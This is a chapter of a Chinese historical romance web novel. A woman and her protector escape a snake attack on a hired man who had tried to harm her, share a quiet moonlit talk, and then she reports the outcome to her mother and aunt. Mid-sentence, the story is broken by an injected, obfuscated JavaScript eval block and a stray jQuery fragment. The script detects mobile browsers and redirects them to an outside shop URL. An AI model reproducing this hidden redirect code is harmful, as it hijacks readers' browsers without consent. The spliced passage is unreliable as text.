流水般的声音不断靠近,从开始的不太清晰的,到无法忽视,仿佛有一阵不知名的浪潮正在袭来。
无数条蛇从窗口,门缝,墙角涌入。
蛇最先找到受伤的赵大,从他的裤腿一路爬上去。他脸上挂着蛇,看向明如光的眼神只有恨意,“你以为,去了官府,我还能活吗?什么都不懂的小娘子。”
明如光脚边爬过一条黑白相间的蛇,她听过此物,据说是一种极毒的蛇,半盏茶就能让人说胡话。她吓都发不出声音了,僵硬地看着脚边聚集起一团一团的蛇。
“笨啊!”紧急之下,裴壑管不了那么多了,直接将她打横抱起,一脚蹬向墙壁,借力飞向屋顶的洞。那里位置高,蛇还没有上来,但屋顶是茅草盖的,撑不住两个人。
裴壑带着她跳下来,踩死了几条蛇,一路狂奔离开。
直到那间破屋子在视线中变得像马车那般大小,裴壑才停下来,扶着她下来。
他们刚好到了之前有口枯井的地方。
明如光喘着气,“可是,可是那个人……”她望向木屋,还有源源不断的蛇听了哨音靠近,只怕赵大顷刻之间就化作了食料。他的惨叫在这里都听得见,可惜被其他路人当做醉汉发疯,无人相救。
“他不是告诉你了,横竖都活不了的。”
她凝望着那座屋子,确实,这件事一旦走到官府面前,相当于公开出来,明家绝对不会让他活下来,贺昌兴也不会。
良久,听着那边的惨叫,她依旧没有移开眼睛,她的声音有些低落,“……至少可以死得痛快点。”
一切就这样结束了,那个企图直接加害她的雇工死于他人的暗害。她安全了,至少短期内不再担心那天的事情再度发生。
明如光转向他,脸上虽然不见喜悦,但有种松了一口气的释然,“多谢你,不然我还不知道要烦恼到几时。”
那天他在她耳边说出这个计划,虽然冒险,但是无疑是动用的人最少,效果最好的方法。唯一的难点在于这个诱饵要她自己来当。
“不必,举手之劳罢了,我不想欠你人……”他还没说完话,就见明如光软倒下去,他眼疾手快地把人捞到怀里,这才发现她的手心全是冷汗,还有指甲留下的痕迹,都快见血了。
“你怎么……”裴壑听见她的心跳如擂鼓,借着月色,看到她嘴唇苍白如纸,竟然有这么害怕么?
“我没事,只是从小就怕黑。”明如光一边说着,一边挣扎着要起来,却被他一把按住。
“你要是现在回去,会害我被误会。”
明如光一愣,顺着裴壑的瞳仁看看自己,头发凌乱,衣服也沾着灰尘,脸色发白,一副受了惊吓的样子。
裴壑脱下外套铺在地上,她顺势坐上去,远处已经没有声音了,蛇似乎也散开了。
今夜是满月,圆如玉盘,亮若明镜,月光平静如水,温柔地给大地镀上一层银辉。
明如光把头靠在膝盖上,等到呼吸平复,心跳没那么剧烈了,她慢慢开口道:“我小时候在晚上走丢过一次。说走丢也不太准确,总之是不太开心的事。”
那时候她六七岁,和爹娘一起去逛灯会。他们一开始是牵着手的,她站在中间,抬起手,牵着阿爹阿娘,时不时缩起腿玩荡秋千。
但是不知道怎么,爹娘忽然发生了口角。
娘说带点礼物给大哥大姐吧。爹说他们才不用这些东西。娘说心意到了就行。爹却说明明是一家人出来玩,为什么还要想着别人呢?
娘的脸色一下子就不对劲了,她说,你以为我是为了谁?
爹也说,你以为我是为了谁?
为了谁?明如光想不明白。他们的问题,她回答不了,只能扬起头,无助地看着他们。但他们谁也没看她,只是愤怒地盯着对方。
然后,两个人同时松开手,朝着不同的方向走去。
明如光愣住了。
她喊阿爹,阿爹没有停下来。她喊阿娘,阿娘没有停下来。
她感觉聚在头顶上的光忽然裂成了两半,朝着不同的方向飘去,而她谁都追不上,慢慢陷入黑暗。她只能蹲下来,抱住自己,静静地等待他们回来。
“所以……”她有些不好意思,“那天晚上之后,我有点怕黑。很丢人吧,这么大的人还怕黑。”
裴壑没有马上回答她,在青白的月色中沉默地看着她,隔了一会儿才道:“难怪你遇袭的晚上和今天晚上那么害怕,和平时像两个人。”
她点点头,“给你添麻烦了,哎呀,这样想起来,好像每次都是你帮了我。尽让你看了我的狼狈样。”
她忍不住笑起来,这是她第一次在他面前笑出来,平时在明家都压着,不想笑,也不敢笑。她侧头望向裴壑,他还是那么冰冷,面对她的故事既没有怜悯,也没有关切。
这样就好。
她只是想同人诉说一下无处可去的心事。
她不想被人可怜,也不想被人一味地当做弱者。
至少让她试着做一做那些不敢做的事。
促织的叫声一长一短,萤火虫忽明忽暗,这里不是明府,明府不会有任何打扰主人休息的声音,时时刻刻都是安静的。
她忽然意识到自己现在是自由的。
微热的风在两人之间流转,暗含着某种情愫,不识真身,朦胧暧昧。两人都没有出声打破这份难得享受的宁静,默契地沉默着,品味难得的此刻。
突然,远处的破屋火光冲天。望着那火,两人不由得站起来,一时间忘了反应。
这里除了他们还有别人!而且一直在,见一切败露便一把火毁尸灭迹,防止他们再挖出蛛丝马迹。
“不行,万一火势蔓延……”明如光一时慌神,一把抓住裴壑,想要上前救火。后者却“嘶”地一声吸了口凉气,她马上松开,发现自己抓的是右臂,而上次她提出假订婚,好像也无意中抓了他的右臂,才被甩开。
裴壑转着右手腕活动,脸色有一瞬间痛苦,又马上恢复平常,“我没事。”
明如光不信,上前扒开他的手,发现深青的布料透出暗色的红,她一惊,“怎么流血了!”
裴壑挣脱她,把手往后藏,“旧伤而已。”
“这么重的伤!不行。”她一把拉起裴壑,不容置喙地往闹市那边走。“等血干了粘在伤口上就不好处理了。”
她去了太久,随从们见她回来了,纷纷围上来查看,生怕二姑娘再次遭遇不测。明如光一个手势制止住他们的疑问,命令道:“现在提着水和沙子去西边救火,我要带裴郎君去包扎。”
众人离去,明如光拉着裴壑往药堂走。裴壑捂着伤口,勉强笑道:“你发号施令的样子还真有几分威慑。”
她抿抿嘴,颇有些羞赧,“都是学的家里的长辈……不瞒你说,我还怕他们不听呢。”
她盯着路前方,一路朝着药堂疾走。他低头看她,现在的她发髻有些松散,几绺头发毛毛躁躁的,衣服也绝算不上整洁。要说和平时相比,当然是平时精心打扮过更漂亮。
可他莫名觉得现在的她看着最顺眼。
药堂正要打烊,被明如光拦下,急急忙忙地说了病人情况,又摘下玉镯,好说歹说。终于,她回过头,对着裴壑露出一个轻松的笑脸,叫他不要担心。
裴壑坐在凳子上,卷起袖子,掌柜给他清洗伤口,敷上金创药,用纱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284089|198411||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
布一圈圈缠起。
明如光想上前查看伤口,却被裴壑制止:“别看!”她只好退回去。
掌柜看了看,这伤是未掉疤的伤口又裂开了,看着挺吓人,难怪不让女孩子看。他道:“你是上回来抓雪灵芝的客人吧。寒毒虽然清了,但是旧伤未愈,怎么又受伤了呢?”
他冷冷地扫过掌柜一眼,表示治你的伤,别多话。
明如光只好替他描述病情:“我们遇到了一些意外,可能是为了保护我,伤口才裂开了。”
掌柜摇头,“你这伤深可见骨,必是战场上受的。你不好好养着,再这样乱来,只怕日后变得手不能提,无法使力!”
裴壑一挑眉,掌柜正准备给纱布打结,他猛地抽走,眼神冷冰冰的,“那也不牢你费心。”他就这样扬着两条飘忽的纱布走了。
明如光赶紧追上去,不忘跟掌柜告罪,她一路小跑才跟上裴壑的步伐。
“你生什么气呢,掌柜只是叫你多注意。”
“无事。”
他丢下两个字,再也不看明如光,直接离去了。她追不上,干脆停在原地,等气喘匀了坐马车回府。
看着他的背影,明如光又不明白了,掌柜哪句话又让他不高兴了?这人真是难以捉摸,简直比祖母的脾气还奇怪,时阴时晴,刚觉得好像是个还不错的人,下一刻又叫人感叹世上怎么有这种人,不可理喻。
算了,他一个大活人,总会照顾好自己的。
次日,明如光来到明鸾处汇报此事的经过,大姑母既然把这件事交给她,最后如何处置了,总要告诉一声。
丫鬟替她打帘,她走入一幕珠帘之后,正要见礼。
意外的是,阿娘竟然也在。
沈秋兰与明鸾坐在一张罗汉椅上,中间的小几上放着两盏饮了一半的茶,似乎闲聊有一会儿了。
沈秋兰一身素白,抹胸淡紫,上面绣着白玉兰。头上梳着螺髻,点缀着素净的紫翡小钗,看着温柔端庄,跟一身火红的明鸾一起,倒像是一对反差很大的姐妹。
见明如光来了,明鸾笑道:“我就说这丫头今天一定会来。”她支使旁边的丫鬟,“去,给二姑娘搬个凳子来。”
沈秋兰朝她招招手,“如光,你来的正好,我们正说起你。雇工的事有何后续?”
明如光简单地将昨晚的事说了一遍。两人听得不时皱眉,不时点头。
明鸾道:“你看,我就说侄女一个人能处理,你还不放心。孩子长大了,只管扔出门去,他们自己会想办法的。”
沈秋兰轻哼一声,不满地捏明鸾手背,“不是自己的宝贝闺女当然舍得。”她上前牵着明如光的手,眼神真挚,“我昨晚可担心你了,知道你带着一大堆人去,但还是不放心,恨不得跟上去看看。”
“娘……”明如光回握住她的手,“害你担心了,是我不好。”
“哪有不好啊。”明鸾打断道:“你这次分明做的很好,是不是,兰娘?”
沈秋兰冷不丁被叫一下闺名,都有点害羞了,她知道明鸾的意思,刚想说些教训的话就咽了下去。之前得了明鸾的点拨,她意识到自己对女儿管得太严了,处处叮嘱,生怕女儿在自己看不见的地方被欺负,于是让她处处小心提防,把女儿养得过分谨慎。
她看着明如光,她能从这张脸上看到自己和丈夫的影子,这是自己的骨血,世上最亲近的人。她的手不自觉握得更紧了些,感慨道:“你做的很好,把坏人揪出来了,更重要的是你没有受伤。”
明如光回握住母亲纤细的手,轻轻点头,露出一个舒展开来的微笑。
自从被母亲松开手之后,好久没有像这样被紧紧握住了。